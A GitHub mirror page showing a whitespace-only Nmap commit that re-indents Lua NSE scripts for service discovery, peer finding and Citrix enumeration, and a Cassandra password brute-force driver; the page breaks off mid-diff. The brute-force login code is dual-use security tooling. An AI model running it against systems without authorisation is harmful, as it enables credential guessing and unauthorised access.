mirror of
https://github.com/nmap/nmap.git
synced 2025-12-07 05:01:29 +00:00
Re-indent some scripts. Whitespace-only commit
https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
@@ -42,50 +42,50 @@ portrule = shortport.portnumber(8332)
|
|||||||
-- JSON-RPC helpers
|
-- JSON-RPC helpers
|
||||||
|
|
||||||
local function request(method, params, id)
|
local function request(method, params, id)
|
||||||
json.make_array(params)
|
json.make_array(params)
|
||||||
local req = {method = method, params = params, id = id}
|
local req = {method = method, params = params, id = id}
|
||||||
local serial = json.generate(req)
|
local serial = json.generate(req)
|
||||||
return serial
|
return serial
|
||||||
end
|
end
|
||||||
|
|
||||||
local function response(serial)
|
local function response(serial)
|
||||||
local _, response = json.parse(serial)
|
local _, response = json.parse(serial)
|
||||||
local result = response["result"]
|
local result = response["result"]
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
local ServiceProxy = {}
|
local ServiceProxy = {}
|
||||||
function ServiceProxy:new(host, port, path, options)
|
function ServiceProxy:new(host, port, path, options)
|
||||||
local o = {}
|
local o = {}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.host = host
|
self.host = host
|
||||||
self.port = port
|
self.port = port
|
||||||
self.path = path
|
self.path = path
|
||||||
self.options = options
|
self.options = options
|
||||||
self.__index = function(_, method)
|
self.__index = function(_, method)
|
||||||
return function(...)
|
return function(...)
|
||||||
return self:call(method, table.pack(...))
|
return self:call(method, table.pack(...))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return o
|
return o
|
||||||
end
|
end
|
||||||
|
|
||||||
function ServiceProxy:remote(req)
|
function ServiceProxy:remote(req)
|
||||||
local httpdata = http.post(self.host, self.port, self.path, self.options, nil, req)
|
local httpdata = http.post(self.host, self.port, self.path, self.options, nil, req)
|
||||||
if httpdata.status == 200 then
|
if httpdata.status == 200 then
|
||||||
return httpdata.body
|
return httpdata.body
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
function ServiceProxy:call(method, args)
|
function ServiceProxy:call(method, args)
|
||||||
local FIRST = 1
|
local FIRST = 1
|
||||||
local req = request(method, args, FIRST)
|
local req = request(method, args, FIRST)
|
||||||
local ret = self:remote(req)
|
local ret = self:remote(req)
|
||||||
if not ret then
|
if not ret then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
local result = response(ret)
|
local result = response(ret)
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Convert an integer into a broken-down version number.
|
-- Convert an integer into a broken-down version number.
|
||||||
@@ -98,52 +98,52 @@ end
|
|||||||
-- 31900 -> 0.3.19
|
-- 31900 -> 0.3.19
|
||||||
-- Version 0.3.13 release announcement: https://bitcointalk.org/?topic=1327.0
|
-- Version 0.3.13 release announcement: https://bitcointalk.org/?topic=1327.0
|
||||||
local function decode_bitcoin_version(n)
|
local function decode_bitcoin_version(n)
|
||||||
if n < 31300 then
|
if n < 31300 then
|
||||||
local minor, micro = n / 100, n % 100
|
local minor, micro = n / 100, n % 100
|
||||||
return string.format("0.%d.%d", minor, micro)
|
return string.format("0.%d.%d", minor, micro)
|
||||||
else
|
else
|
||||||
local minor, micro = n / 10000, (n / 100) % 100
|
local minor, micro = n / 10000, (n / 100) % 100
|
||||||
return string.format("0.%d.%d", minor, micro)
|
return string.format("0.%d.%d", minor, micro)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local function formatpairs(info)
|
local function formatpairs(info)
|
||||||
local result = {}
|
local result = {}
|
||||||
for k, v in pairs(info) do
|
for k, v in pairs(info) do
|
||||||
if v ~= "" then
|
if v ~= "" then
|
||||||
local line = k .. ": " .. tostring(v)
|
local line = k .. ": " .. tostring(v)
|
||||||
table.insert(result, line)
|
table.insert(result, line)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
local function getinfo(host, port, user, pass)
|
local function getinfo(host, port, user, pass)
|
||||||
local auth = {username = user, password = pass}
|
local auth = {username = user, password = pass}
|
||||||
local bitcoind = ServiceProxy:new(host, port, "/", {auth = auth})
|
local bitcoind = ServiceProxy:new(host, port, "/", {auth = auth})
|
||||||
return bitcoind.getinfo()
|
return bitcoind.getinfo()
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local response = {}
|
local response = {}
|
||||||
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
||||||
local states = creds.State.VALID + creds.State.PARAM
|
local states = creds.State.VALID + creds.State.PARAM
|
||||||
for cred in c:getCredentials(states) do
|
for cred in c:getCredentials(states) do
|
||||||
local info = getinfo(host, port, cred.user, cred.pass)
|
local info = getinfo(host, port, cred.user, cred.pass)
|
||||||
if info then
|
if info then
|
||||||
local result = formatpairs(info)
|
local result = formatpairs(info)
|
||||||
result["name"] = "USER: " .. cred.user
|
result["name"] = "USER: " .. cred.user
|
||||||
table.insert(response, result)
|
table.insert(response, result)
|
||||||
|
|
||||||
port.version.name = "http"
|
port.version.name = "http"
|
||||||
port.version.product = "Bitcoin JSON-RPC"
|
port.version.product = "Bitcoin JSON-RPC"
|
||||||
if info.version then
|
if info.version then
|
||||||
port.version.version = decode_bitcoin_version(info.version)
|
port.version.version = decode_bitcoin_version(info.version)
|
||||||
end
|
end
|
||||||
nmap.set_port_version(host, port)
|
nmap.set_port_version(host, port)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, response)
|
return stdnse.format_output(true, response)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -48,88 +48,88 @@ categories = {"discovery","safe"}
|
|||||||
|
|
||||||
|
|
||||||
prerule = function()
|
prerule = function()
|
||||||
if not stdnse.get_script_args(SCRIPT_NAME..".torrent") and
|
if not stdnse.get_script_args(SCRIPT_NAME..".torrent") and
|
||||||
not stdnse.get_script_args(SCRIPT_NAME..".magnet") then
|
not stdnse.get_script_args(SCRIPT_NAME..".magnet") then
|
||||||
stdnse.print_debug(3,
|
stdnse.print_debug(3,
|
||||||
"Skipping '%s' %s, No magnet link or torrent file arguments.",
|
"Skipping '%s' %s, No magnet link or torrent file arguments.",
|
||||||
SCRIPT_NAME, SCRIPT_TYPE)
|
SCRIPT_NAME, SCRIPT_TYPE)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
|
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
|
||||||
local filename = stdnse.get_script_args(SCRIPT_NAME..".torrent")
|
local filename = stdnse.get_script_args(SCRIPT_NAME..".torrent")
|
||||||
local magnet = stdnse.get_script_args(SCRIPT_NAME..".magnet")
|
local magnet = stdnse.get_script_args(SCRIPT_NAME..".magnet")
|
||||||
local include_nodes = stdnse.get_script_args(SCRIPT_NAME..".include-nodes")
|
local include_nodes = stdnse.get_script_args(SCRIPT_NAME..".include-nodes")
|
||||||
|
|
||||||
local t = bittorrent.Torrent:new()
|
local t = bittorrent.Torrent:new()
|
||||||
if filename then
|
if filename then
|
||||||
t:load_from_file(filename)
|
t:load_from_file(filename)
|
||||||
elseif magnet then
|
elseif magnet then
|
||||||
t:load_from_magnet(magnet)
|
t:load_from_magnet(magnet)
|
||||||
end
|
end
|
||||||
t:trackers_peers()
|
t:trackers_peers()
|
||||||
t:dht_peers(timeout)
|
t:dht_peers(timeout)
|
||||||
|
|
||||||
local output = {}
|
local output = {}
|
||||||
local peers = {}
|
local peers = {}
|
||||||
peers.name = "Peers:"
|
peers.name = "Peers:"
|
||||||
local nodes = {}
|
local nodes = {}
|
||||||
nodes.name = "Nodes:"
|
nodes.name = "Nodes:"
|
||||||
|
|
||||||
-- add peers
|
-- add peers
|
||||||
if target.ALLOW_NEW_TARGETS then
|
if target.ALLOW_NEW_TARGETS then
|
||||||
for peer_ip in pairs(t.peers) do
|
for peer_ip in pairs(t.peers) do
|
||||||
target.add(peer_ip)
|
target.add(peer_ip)
|
||||||
table.insert(peers, peer_ip)
|
table.insert(peers, peer_ip)
|
||||||
end
|
end
|
||||||
if #peers>0 then
|
if #peers>0 then
|
||||||
table.insert(peers, "Total of "..#peers.." peers discovered")
|
table.insert(peers, "Total of "..#peers.." peers discovered")
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
for peer_ip in pairs(t.peers) do
|
for peer_ip in pairs(t.peers) do
|
||||||
table.insert(peers, peer_ip)
|
table.insert(peers, peer_ip)
|
||||||
end
|
end
|
||||||
if #peers>0 then
|
if #peers>0 then
|
||||||
table.insert(peers, "Total of "..#peers.." peers discovered")
|
table.insert(peers, "Total of "..#peers.." peers discovered")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- add nodes
|
-- add nodes
|
||||||
if target.ALLOW_NEW_TARGETS and include_nodes then
|
if target.ALLOW_NEW_TARGETS and include_nodes then
|
||||||
for node_ip in pairs(t.nodes) do
|
for node_ip in pairs(t.nodes) do
|
||||||
target.add(node_ip)
|
target.add(node_ip)
|
||||||
table.insert(nodes, node_ip)
|
table.insert(nodes, node_ip)
|
||||||
end
|
end
|
||||||
if #nodes >0 then
|
if #nodes >0 then
|
||||||
table.insert(nodes, "Total of "..#nodes.." nodes discovered")
|
table.insert(nodes, "Total of "..#nodes.." nodes discovered")
|
||||||
end
|
end
|
||||||
elseif include_nodes then
|
elseif include_nodes then
|
||||||
for node_ip in pairs(t.nodes) do
|
for node_ip in pairs(t.nodes) do
|
||||||
table.insert(nodes, node_ip)
|
table.insert(nodes, node_ip)
|
||||||
end
|
end
|
||||||
if #nodes >0 then
|
if #nodes >0 then
|
||||||
table.insert(nodes, "Total of "..#nodes.." nodes discovered")
|
table.insert(nodes, "Total of "..#nodes.." nodes discovered")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local print_out = false
|
local print_out = false
|
||||||
|
|
||||||
if #peers > 0 then
|
if #peers > 0 then
|
||||||
table.insert(output, peers)
|
table.insert(output, peers)
|
||||||
print_out = true
|
print_out = true
|
||||||
end
|
end
|
||||||
|
|
||||||
if include_nodes and #nodes > 0 then
|
if include_nodes and #nodes > 0 then
|
||||||
table.insert(output, nodes)
|
table.insert(output, nodes)
|
||||||
print_out = true
|
print_out = true
|
||||||
end
|
end
|
||||||
|
|
||||||
if print_out and not target.ALLOW_NEW_TARGETS then
|
if print_out and not target.ALLOW_NEW_TARGETS then
|
||||||
table.insert(output,"Use the newtargets script-arg to add the results as targets")
|
table.insert(output,"Use the newtargets script-arg to add the results as targets")
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output( print_out , output)
|
return stdnse.format_output( print_out , output)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -41,95 +41,95 @@ local DROPBOX_BROADCAST_PERIOD = 20
|
|||||||
local DROPBOX_PORT = 17500
|
local DROPBOX_PORT = 17500
|
||||||
|
|
||||||
prerule = function()
|
prerule = function()
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
-- Start listening for broadcasts.
|
-- Start listening for broadcasts.
|
||||||
local sock = nmap.new_socket("udp")
|
local sock = nmap.new_socket("udp")
|
||||||
sock:set_timeout(2 * DROPBOX_BROADCAST_PERIOD * 1000)
|
sock:set_timeout(2 * DROPBOX_BROADCAST_PERIOD * 1000)
|
||||||
local status, result = sock:bind(nil, DROPBOX_PORT)
|
local status, result = sock:bind(nil, DROPBOX_PORT)
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(1, "Could not bind on port %d: %s", DROPBOX_PORT, result)
|
stdnse.print_debug(1, "Could not bind on port %d: %s", DROPBOX_PORT, result)
|
||||||
sock:close()
|
sock:close()
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Keep track of the IDs we've already seen.
|
-- Keep track of the IDs we've already seen.
|
||||||
local ids = {}
|
local ids = {}
|
||||||
|
|
||||||
-- Initialize the output table.
|
-- Initialize the output table.
|
||||||
local results = tab.new(6)
|
local results = tab.new(6)
|
||||||
tab.addrow(
|
tab.addrow(
|
||||||
results,
|
results,
|
||||||
'displayname',
|
'displayname',
|
||||||
'ip',
|
'ip',
|
||||||
'port',
|
'port',
|
||||||
'version',
|
'version',
|
||||||
'host_int',
|
'host_int',
|
||||||
'namespaces'
|
'namespaces'
|
||||||
)
|
)
|
||||||
|
|
||||||
local status, result = sock:receive()
|
local status, result = sock:receive()
|
||||||
while status do
|
while status do
|
||||||
-- Parse JSON.
|
-- Parse JSON.
|
||||||
local status, info = json.parse(result)
|
local status, info = json.parse(result)
|
||||||
if status then
|
if status then
|
||||||
-- Get IP address of broadcasting host.
|
-- Get IP address of broadcasting host.
|
||||||
local status, _, _, ip, _ = sock:get_info()
|
local status, _, _, ip, _ = sock:get_info()
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(1, "Failed to get socket info.")
|
stdnse.print_debug(1, "Failed to get socket info.")
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
stdnse.print_debug(1, "Received broadcast from host %s (%s).", info.displayname, ip)
|
stdnse.print_debug(1, "Received broadcast from host %s (%s).", info.displayname, ip)
|
||||||
|
|
||||||
-- Check if we've already seen this ID.
|
-- Check if we've already seen this ID.
|
||||||
if ids[info.host_int] then
|
if ids[info.host_int] then
|
||||||
-- We can stop now, since we've seen the same ID twice
|
-- We can stop now, since we've seen the same ID twice
|
||||||
-- If ever a host sends a broadcast twice in a row, this will
|
-- If ever a host sends a broadcast twice in a row, this will
|
||||||
-- artificially stop the listener. I can't think of a workaround
|
-- artificially stop the listener. I can't think of a workaround
|
||||||
-- for now, so this will have to do.
|
-- for now, so this will have to do.
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
ids[info.host_int] = true
|
ids[info.host_int] = true
|
||||||
|
|
||||||
-- Add host scan list.
|
-- Add host scan list.
|
||||||
if target.ALLOW_NEW_TARGETS then
|
if target.ALLOW_NEW_TARGETS then
|
||||||
target.add(ip)
|
target.add(ip)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Add host to list.
|
-- Add host to list.
|
||||||
for _, key1 in pairs({"namespaces", "version"}) do
|
for _, key1 in pairs({"namespaces", "version"}) do
|
||||||
for key2, val in pairs(info[key1]) do
|
for key2, val in pairs(info[key1]) do
|
||||||
info[key1][key2] = tostring(info[key1][key2])
|
info[key1][key2] = tostring(info[key1][key2])
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
tab.addrow(
|
tab.addrow(
|
||||||
results,
|
results,
|
||||||
info.displayname,
|
info.displayname,
|
||||||
ip,
|
ip,
|
||||||
info.port,
|
info.port,
|
||||||
stdnse.strjoin(".", info.version),
|
stdnse.strjoin(".", info.version),
|
||||||
info.host_int,
|
info.host_int,
|
||||||
stdnse.strjoin(", ", info.namespaces)
|
stdnse.strjoin(", ", info.namespaces)
|
||||||
)
|
)
|
||||||
|
|
||||||
stdnse.print_debug(1, "Added host %s.", info.displayname)
|
stdnse.print_debug(1, "Added host %s.", info.displayname)
|
||||||
end
|
end
|
||||||
|
|
||||||
status, result = sock:receive()
|
status, result = sock:receive()
|
||||||
end
|
end
|
||||||
|
|
||||||
sock:close()
|
sock:close()
|
||||||
|
|
||||||
-- If no broadcasts received, don't output anything.
|
-- If no broadcasts received, don't output anything.
|
||||||
if not next(ids) then
|
if not next(ids) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Format table, without trailing newline.
|
-- Format table, without trailing newline.
|
||||||
results = tab.dump(results)
|
results = tab.dump(results)
|
||||||
results = results:sub(1, #results - 1)
|
results = results:sub(1, #results - 1)
|
||||||
|
|
||||||
return "\n" .. results
|
return "\n" .. results
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -37,97 +37,97 @@ prerule = function() return ( nmap.address_family() == "inet") end
|
|||||||
-- @param responses table containing the responses
|
-- @param responses table containing the responses
|
||||||
local function udpProbe(probe, responses)
|
local function udpProbe(probe, responses)
|
||||||
|
|
||||||
local condvar = nmap.condvar(responses)
|
local condvar = nmap.condvar(responses)
|
||||||
local socket = nmap.new_socket("udp")
|
local socket = nmap.new_socket("udp")
|
||||||
socket:set_timeout(500)
|
socket:set_timeout(500)
|
||||||
|
|
||||||
for i=1,2 do
|
for i=1,2 do
|
||||||
local status = socket:sendto(probe.host, probe.port, probe.data)
|
local status = socket:sendto(probe.host, probe.port, probe.data)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to send broadcast request"
|
return "\n ERROR: Failed to send broadcast request"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) )
|
local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) )
|
||||||
local stime = os.time()
|
local stime = os.time()
|
||||||
local hosts = {}
|
local hosts = {}
|
||||||
|
|
||||||
repeat
|
repeat
|
||||||
local status, data = socket:receive()
|
local status, data = socket:receive()
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
local srvname = data:match(probe.match)
|
local srvname = data:match(probe.match)
|
||||||
if ( srvname ) then
|
if ( srvname ) then
|
||||||
local status, _, _, rhost, _ = socket:get_info()
|
local status, _, _, rhost, _ = socket:get_info()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
socket:close()
|
socket:close()
|
||||||
return false, "Failed to get socket information"
|
return false, "Failed to get socket information"
|
||||||
end
|
end
|
||||||
-- avoid duplicates
|
-- avoid duplicates
|
||||||
hosts[rhost] = srvname
|
hosts[rhost] = srvname
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
until( os.time() - stime > timeout )
|
until( os.time() - stime > timeout )
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
local result = {}
|
local result = {}
|
||||||
for ip, name in pairs(hosts) do
|
for ip, name in pairs(hosts) do
|
||||||
table.insert(result, ("%s - %s"):format(ip,name))
|
table.insert(result, ("%s - %s"):format(ip,name))
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( #result > 0 ) then
|
if ( #result > 0 ) then
|
||||||
result.name = probe.topic
|
result.name = probe.topic
|
||||||
table.insert(responses, result)
|
table.insert(responses, result)
|
||||||
end
|
end
|
||||||
|
|
||||||
condvar "signal"
|
condvar "signal"
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
|
|
||||||
-- PC-Duo UDP probes
|
-- PC-Duo UDP probes
|
||||||
local probes = {
|
local probes = {
|
||||||
-- PC-Duo Host probe
|
-- PC-Duo Host probe
|
||||||
{
|
{
|
||||||
host = { ip = "255.255.255.255" },
|
host = { ip = "255.255.255.255" },
|
||||||
port = { number = 1505, protocol = "udp" },
|
port = { number = 1505, protocol = "udp" },
|
||||||
data = bin.pack("H", "00808008ff00"),
|
data = bin.pack("H", "00808008ff00"),
|
||||||
match= "^.........(%w*)\0",
|
match= "^.........(%w*)\0",
|
||||||
topic= "PC-Duo Hosts"
|
topic= "PC-Duo Hosts"
|
||||||
},
|
},
|
||||||
-- PC-Duo Gateway Server probe
|
-- PC-Duo Gateway Server probe
|
||||||
{
|
{
|
||||||
host = { ip = "255.255.255.255" },
|
host = { ip = "255.255.255.255" },
|
||||||
port = { number = 2303, protocol = "udp" },
|
port = { number = 2303, protocol = "udp" },
|
||||||
data = bin.pack("H", "20908008ff00"),
|
data = bin.pack("H", "20908008ff00"),
|
||||||
match= "^.........(%w*)\0",
|
match= "^.........(%w*)\0",
|
||||||
topic= "PC-Duo Gateway Server"
|
topic= "PC-Duo Gateway Server"
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
local threads, responses = {}, {}
|
local threads, responses = {}, {}
|
||||||
local condvar = nmap.condvar(responses)
|
local condvar = nmap.condvar(responses)
|
||||||
|
|
||||||
-- start a thread for each probe
|
-- start a thread for each probe
|
||||||
for _, p in ipairs(probes) do
|
for _, p in ipairs(probes) do
|
||||||
local th = stdnse.new_thread( udpProbe, p, responses )
|
local th = stdnse.new_thread( udpProbe, p, responses )
|
||||||
threads[th] = true
|
threads[th] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
-- wait until the probes are all done
|
-- wait until the probes are all done
|
||||||
repeat
|
repeat
|
||||||
for thread in pairs(threads) do
|
for thread in pairs(threads) do
|
||||||
if coroutine.status(thread) == "dead" then
|
if coroutine.status(thread) == "dead" then
|
||||||
threads[thread] = nil
|
threads[thread] = nil
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if ( next(threads) ) then
|
if ( next(threads) ) then
|
||||||
condvar "wait"
|
condvar "wait"
|
||||||
end
|
end
|
||||||
until next(threads) == nil
|
until next(threads) == nil
|
||||||
|
|
||||||
table.sort(responses, function(a,b) return a.name < b.name end)
|
table.sort(responses, function(a,b) return a.name < b.name end)
|
||||||
-- did we get any responses
|
-- did we get any responses
|
||||||
if ( #responses > 0 ) then
|
if ( #responses > 0 ) then
|
||||||
return stdnse.format_output(true, responses)
|
return stdnse.format_output(true, responses)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -36,98 +36,98 @@ portrule = shortport.port_or_service({9160}, {"cassandra"})
|
|||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
new = function(self, host, port, options)
|
new = function(self, host, port, options)
|
||||||
local o = { host = host, port = port, socket = nmap.new_socket() }
|
local o = { host = host, port = port, socket = nmap.new_socket() }
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function(self)
|
connect = function(self)
|
||||||
return self.socket:connect(self.host, self.port)
|
return self.socket:connect(self.host, self.port)
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- bit faster login function than in cassandra library (no protocol error checks)
|
-- bit faster login function than in cassandra library (no protocol error checks)
|
||||||
login = function(self, username, password)
|
login = function(self, username, password)
|
||||||
local response, magic, size, _
|
local response, magic, size, _
|
||||||
local loginstr = cassandra.loginstr (username, password)
|
local loginstr = cassandra.loginstr (username, password)
|
||||||
|
|
||||||
local status, err = self.socket:send(bin.pack(">I",string.len(loginstr)))
|
local status, err = self.socket:send(bin.pack(">I",string.len(loginstr)))
|
||||||
local combo = username..":"..password
|
local combo = username..":"..password
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "couldn't send length:"..combo )
|
local err = brute.Error:new( "couldn't send length:"..combo )
|
||||||
err:setAbort( true )
|
err:setAbort( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status, err = self.socket:send(loginstr)
|
status, err = self.socket:send(loginstr)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "couldn't send login packet: "..combo )
|
local err = brute.Error:new( "couldn't send login packet: "..combo )
|
||||||
err:setAbort( true )
|
err:setAbort( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status, response = self.socket:receive_bytes(22)
|
status, response = self.socket:receive_bytes(22)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "couldn't receive login reply size: "..combo )
|
local err = brute.Error:new( "couldn't receive login reply size: "..combo )
|
||||||
err:setAbort( true )
|
err:setAbort( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
_, size = bin.unpack(">I", response, 1)
|
_, size = bin.unpack(">I", response, 1)
|
||||||
|
|
||||||
magic = string.sub(response,18,22)
|
magic = string.sub(response,18,22)
|
||||||
|
|
||||||
if (magic == cassandra.LOGINSUCC) then
|
if (magic == cassandra.LOGINSUCC) then
|
||||||
stdnse.print_debug(3, "Account SUCCESS: "..combo)
|
stdnse.print_debug(3, "Account SUCCESS: "..combo)
|
||||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||||
elseif (magic == cassandra.LOGINFAIL) then
|
elseif (magic == cassandra.LOGINFAIL) then
|
||||||
stdnse.print_debug(3,"Account FAIL: "..combo)
|
stdnse.print_debug(3,"Account FAIL: "..combo)
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
elseif (magic == cassandra.LOGINACC) then
|
elseif (magic == cassandra.LOGINACC) then
|
||||||
stdnse.print_debug(3, "Account VALID, but wrong password: "..combo)
|
stdnse.print_debug(3, "Account VALID, but wrong password: "..combo)
|
||||||
return false, brute.Error:new( "Good user, bad password" )
|
return false, brute.Error:new( "Good user, bad password" )
|
||||||
else
|
else
|
||||||
stdnse.print_debug(3, "Unrecognized packet for "..combo)
|
stdnse.print_debug(3, "Unrecognized packet for "..combo)
|
||||||
stdnse.print_debug(3, "packet hex: %s", stdnse.tohex(response) )
|
stdnse.print_debug(3, "packet hex: %s", stdnse.tohex(response) )
|
||||||
stdnse.print_debug(3, "size packet hex: %s", stdnse.tohex(size) )
|
stdnse.print_debug(3, "size packet hex: %s", stdnse.tohex(size) )
|
||||||
stdnse.print_debug(3, "magic packet hex: %s", stdnse.tohex(magic) )
|
stdnse.print_debug(3, "magic packet hex: %s", stdnse.tohex(magic) )
|
||||||
local err = brute.Error:new( response )
|
local err = brute.Error:new( response )
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function(self)
|
disconnect = function(self)
|
||||||
return self.socket:close()
|
return self.socket:close()
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
local function noAuth(host, port)
|
local function noAuth(host, port)
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
local status, result = socket:connect(host, port)
|
local status, result = socket:connect(host, port)
|
||||||
|
|
||||||
local stat,err = cassandra.login (socket,"default","")
|
local stat,err = cassandra.login (socket,"default","")
|
||||||
socket:close()
|
socket:close()
|
||||||
if (stat) then
|
if (stat) then
|
||||||
return true
|
return true
|
||||||
else
|
else
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
if ( noAuth(host, port) ) then
|
if ( noAuth(host, port) ) then
|
||||||
return "Any username and password would do, 'default' was used to test."
|
return "Any username and password would do, 'default' was used to test."
|
||||||
end
|
end
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port )
|
local engine = brute.Engine:new(Driver, host, port )
|
||||||
|
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
engine.options.firstonly = true
|
engine.options.firstonly = true
|
||||||
local status, result = engine:start()
|
local status, result = engine:start()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -76,75 +76,75 @@ portrule = shortport.portnumber({8080,80,443}, "tcp")
|
|||||||
-- @return table suitable for stdnse.format_output
|
-- @return table suitable for stdnse.format_output
|
||||||
function format_output(appdata, mode)
|
function format_output(appdata, mode)
|
||||||
|
|
||||||
local result = {}
|
local result = {}
|
||||||
local setting_titles = { {appisdisabled="Disabled"}, {appisdesktop="Desktop"}, {AppOnDesktop="On Desktop"},
|
local setting_titles = { {appisdisabled="Disabled"}, {appisdesktop="Desktop"}, {AppOnDesktop="On Desktop"},
|
||||||
{Encryption="Encryption"}, {AppInStartmenu="In start menu"},
|
{Encryption="Encryption"}, {AppInStartmenu="In start menu"},
|
||||||
{PublisherName="Publisher"}, {SSLEnabled="SSL"}, {RemoteAccessEnabled="Remote Access"} }
|
{PublisherName="Publisher"}, {SSLEnabled="SSL"}, {RemoteAccessEnabled="Remote Access"} }
|
||||||
|
|
||||||
|
|
||||||
if mode == "short" then
|
if mode == "short" then
|
||||||
for app_name, AppData in ipairs(appdata) do
|
for app_name, AppData in ipairs(appdata) do
|
||||||
local line = "Application: " .. AppData.FName
|
local line = "Application: " .. AppData.FName
|
||||||
|
|
||||||
if AppData.AccessList then
|
if AppData.AccessList then
|
||||||
|
|
||||||
if AppData.AccessList.User then
|
if AppData.AccessList.User then
|
||||||
line = line .. "; Users: " .. stdnse.strjoin(", ", AppData.AccessList.User)
|
line = line .. "; Users: " .. stdnse.strjoin(", ", AppData.AccessList.User)
|
||||||
end
|
end
|
||||||
|
|
||||||
if AppData.AccessList.Group then
|
if AppData.AccessList.Group then
|
||||||
line = line .. "; Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group)
|
line = line .. "; Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group)
|
||||||
end
|
end
|
||||||
|
|
||||||
table.insert(result, line)
|
table.insert(result, line)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
else
|
else
|
||||||
|
|
||||||
for app_name, AppData in ipairs(appdata) do
|
for app_name, AppData in ipairs(appdata) do
|
||||||
local result_part = {}
|
local result_part = {}
|
||||||
|
|
||||||
result_part.name = "Application: " .. AppData.FName
|
result_part.name = "Application: " .. AppData.FName
|
||||||
|
|
||||||
local settings = AppData.Settings
|
local settings = AppData.Settings
|
||||||
|
|
||||||
for _, setting_pairs in ipairs(setting_titles) do
|
for _, setting_pairs in ipairs(setting_titles) do
|
